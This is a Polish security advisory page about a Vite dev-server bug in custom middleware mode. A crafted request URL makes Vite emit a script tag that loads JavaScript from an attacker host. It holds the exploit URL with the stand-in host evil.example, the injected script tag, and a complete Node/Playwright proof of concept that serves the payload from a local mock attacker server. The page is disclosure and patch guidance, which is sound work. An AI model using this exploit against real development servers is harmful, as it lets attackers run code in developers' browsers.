Niska

Vite: Wykonywanie skryptów cross-origin poprzez niestandardowe oprogramowanie pośredniczące Vite

  • Ujawniono: 21.10.2026
  • Aktualizacja: 21.10.2026 19:20

Podsumowanie

Podczas odwiedzania złośliwej witryny w trakcie działania serwera deweloperskiego korzystającego z Vite, witryna ta miała możliwość ładowania skryptów na stronie serwowanej przez serwer deweloperski.

Wpływ

Podatne są wyłącznie aplikacje spełniające poniższe warunki:

  • serwer deweloperski przekazuje niezmieniony adres URL żądania przeglądarki do server.transformIndexHtml: jest to zazwyczaj stosowane w przypadku server.middlewareMode: true lub appType: 'custom'. Wewnętrzne wywołanie dla appType: 'spa' i appType: 'mpa' nie spełnia tego warunku.
  • przekształcony kod HTML zawiera wbudowany skrypt modułu (inline module script)
  • ze skryptu na stronie serwowanej przez serwer deweloperski aplikacja przechowuje poufne wartości w dostępnym miejscu lub umożliwia krytyczne działania

Szczegóły

Przewodnik Vite SSR dla 8.2.1) opisuje konfigurację podatną na ten problem. Aplikacja osadza Vite w trybie middleware, odczytuje zaufany kod HTML i przekazuje niezmieniony URL żądania przeglądarki do transformacji:

js
const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)

Dla serwera deweloperskiego pod adresem http://localhost:5173 atakujący może przesłać następujący URL:

http://localhost:5173//evil.example/payload.js?/../../package.json

W Vite 8.2.1 createDevHtmlTransformFn oraz getHtmlFilename w indexHtml.ts) używają adresu URL żądania zarówno jako path transformacji, jak i danych wejściowych do path.join. Wartość przekazana do path.join nadal zawiera tekst zapytania.

Chromium zachowuje /../../package.json, ponieważ występuje po ?, stanowiąc treść zapytania. Vite traktuje te same znaki jako elementy ścieżki w systemie plików, przez co składowe .. rozwiązują wyznaczoną nazwę pliku do istniejącego pliku projektu package.json.

Gałąź obsługi istniejącego pliku w indexHtml.ts) weryfikuje tę nazwę pliku za pomocą fs.existsSync, a następnie zachowuje htmlPath dostarczony przez atakującego jako proxyModuleUrl. Mechanizm przepisywania modułów inline w tym samym pliku) zapisuje tę wartość do wygenerowanego src:

html
<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>

Wygenerowana wartość jest poprawnym adresem URL. Wiodące znaki // instruują przeglądarkę, aby zażądała modułu z evil.example z użyciem schematu strony Vite. Atakujący zwraca kod JavaScript w odpowiedzi na to żądanie, a Chromium wykonuje go na stronie serwowanej przez Vite.

PoC

js
import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'

const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
  pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
  viteModule.createServer ?? viteModule.default.createServer

// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'

const listen = (server, port = 0) =>
  new Promise((resolve, reject) => {
    server.once('error', reject)
    server.listen(port, '127.0.0.1', () => {
      server.off('error', reject)
      resolve(server.address().port)
    })
  })

const close = (server) =>
  new Promise((resolve, reject) => {
    server.close((error) => (error ? reject(error) : resolve()))
  })

let attackerRequest = null
const attacker = createHttpServer((request, response) => {
  attackerRequest = request.url
  response.writeHead(200, {
    'access-control-allow-origin': '*',
    'content-type': 'text/javascript',
  })
  response.end(
    "document.documentElement.dataset.viteXssPoc = 'executed'",
  )
})

const vite = await createViteServer({
  appType: 'custom',
  configFile: false,
  root: directory,
  server: {
    hmr: false,
    middlewareMode: true,
    watch: null,
  },
})

const application = createHttpServer((request, response) => {
  vite.middlewares(request, response, async (error) => {
    if (error) {
      response.destroy(error)
      return
    }

    try {
      const transformed = await vite.transformIndexHtml(request.url, html)
      response.writeHead(200, { 'content-type': 'text/html' })
      response.end(transformed)
    } catch (transformError) {
      response.destroy(transformError)
    }
  })
})

await listen(attacker, attackerPort)
const applicationPort = await listen(application)
const browser = await chromium.launch({ headless: true })

try {
  const page = await browser.newPage()
  await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)
  await page.waitForFunction(
    () => document.documentElement.dataset.viteXssPoc === 'executed',
  )

  console.log(`attacker request: ${attackerRequest}`)
  console.log('JavaScript from the attacker server executed in the Vite page')
} finally {
  await browser.close()
  await close(application)
  await vite.close()
  await close(attacker)
}

Zaobserwowany wynik na Vite 8.2.1:

attacker request: /payload.js?/../../package.json?html-proxy&index=0.js
JavaScript from the attacker server executed in the Vite page

Co trzeba zrobić

Zaktualizuj pakiet Vite do wersji 6.4.4, 7.3.7, 8.1.6, 8.2.4, 8.3.3 lub nowszej oraz pakiet vite-plus do wersji 1.1.0 lub nowszej.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm vite >= 8.3.0, < 8.3.3, >= 8.2.0, < 8.2.4, >= 8.0.0, < 8.1.6, >= 7.0.0, < 7.3.7, < 6.4.4 8.3.3, 8.2.4, 8.1.6, 7.3.7, 6.4.4
Paczka npm vite-plus < 1.1.0 1.1.0

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Słabość (CWE)
CWE-80
Platforma
npm
Paczka
vite, vite-plus
Ujawniono
21.10.2026
Aktualizacja
21.10.2026 19:20

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-9jrq-w75r-8gcw - CC BY 4.0

Historia podatności: vite-plus

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (9) w archiwum
Wszystkich wpisów
9
Pierwsza → ostatnia
04.2026 10.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 1
  • Wysoka 3
  • Średnia 4
  • Niska 1

Ujawnienia w latach

  1. 2026: 9
Istotność:
  1. Vite: Wykonywanie skryptów cross-origin poprzez niestandardowe oprogramowanie pośredniczące Vite ten wpis
    Niska CVE-2026-112945 < 1.1.0 1.1.0
  2. Wysoka · 7.5 CVE-2026-53571 < 0.1.24 0.1.24

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.